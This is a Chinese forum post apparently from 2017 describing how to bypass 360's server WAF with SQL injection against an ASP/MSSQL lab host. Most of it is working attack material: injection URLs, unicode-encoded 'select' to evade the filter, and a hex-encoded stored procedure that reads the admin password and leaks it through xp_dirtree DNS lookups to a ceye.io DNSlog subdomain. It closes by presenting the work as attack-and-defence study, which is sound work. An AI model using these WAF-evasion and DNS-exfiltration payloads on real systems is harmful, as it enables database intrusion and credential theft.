[SAFE-ID: JIWO-2024-69] 作者: ecawen 发表于: [2017-07-16]
本文共 [723] 位读者顶过
主机卫士是360旗下的服务器安全软件,为站长免费提供网站后门检测、木马查杀,网站补丁、漏洞防护等服务。这么多年因为主机卫士的存在,让我们站长一直免于被黑客攻击。不过任何一款软件都会有不足的地方,今天[出自:jiwo.org]
测试流程
1 我们先直接加上单引号试试:
-
http://192.168.0.20/conn.asp?id=1%27
复制代码
2 那我们继续测试,and 1=1 和and 1=2,被拦截了。这个时候,我们可以看看到底是什么规则,发现每一个单独提交都不被拦截,组合到一起便被拦截了,好,那我们变通一下,用+代替空格
3 查看数据库版本
4 查看数据库用户
5 查看当前数据库名称
6 查看数据库有多少数据库名称
-
http://192.168.0.20/conn.asp?id=1+and+(SELECT+top+1+Name+FROM+Master..SysDatabases)
复制代码
7 我们从左至右,开始依次加sql注入的关键字,发现
8 主机卫士拦截表
9 寻求突破
从上面的拦截表格可以看出,两个关键字的时候,只拦截select,那么我们试试三个关键字(无select)的时候,主机卫士会拦截什么?发现什么都不拦截,只会报语法错误。由此,我们得出一个结论,主机卫士一定会拦截select关键字,那么问题来了,他只拦截select吗?SeLeCt呢?经过不完全测试,发现当我们将select字符unicode编码后,不拦截
-
http://192.168.0.20/conn.asp?id=1+and+%u0073%u0065%u006c%u0065%u0063%u0074
复制代码
但是,当我们尝试一次添加三个关键字的时候,主机卫士又拦截了(好累)。
-
http://192.168.0.20/conn.asp?id=1+and+(%u0073%u0065%u006c%u0065%u0063%u0074+top
复制代码
10 利用存储过程
mssql的存储过程定义为:
-
Declare @s varchar(5000) //申明变量@s 类型为varchar(5000)
-
Set @ //给@s变量赋值
-
Exec(@s) //执行@s
复制代码
那么,我们就需要试着在url中提交declare、set和exec,看看是否被拦截。
很好,没有被拦截,只是提示语法错误,那就证明我们可以利用存储过程去绕过主机卫士!我写了一个存储过程,内容如下(红色字体是需要另外修改的):
-
declare @s varchar(5000),@host varchar(5000)
-
set @s=(select password from waf_test.dbo.admin where username='admin')
-
set@host=CONVERT(varchar(5000),@s)+'.xxxx.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"')
复制代码
将这个存储过程转换成十六进制如下:
-
0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729
复制代码
最终我们的请求为:
-
http://192.168.0.124/conn.asp?id=1;declare+@h+varchar(5000)+set+@h=0x6465636c61726520407320766172636861722835303030292c40686f73742076617263686172283530303029207365742040733d2873656c6563742070617373776f72642066726f6d207761665f746573742e64626f2e61646d696e20776865726520757365726e616d653d2761646d696e2729207365742040686f73743d434f4e5645525428766172636861722835303030292c4073292b272e787878782e636579652e696f273b4558454328276d61737465722e2e78705f6469727472656520225c5c272b40686f73742b275c666f6f62617224222729+exec(@h)
复制代码
登陆dnslog,可以看到接收到了123456的子域名请求,这里的123456便是我在mssql数据库中admin账户的密码。具体看下图:
总结
攻防是对立的,有攻才有防。所以想更好的防御要换位思考从黑客的角度来看攻击然后形成防御思维。在攻防研究中学习,在攻防实验中进步。让我们一起去迎接更好的每一天。
|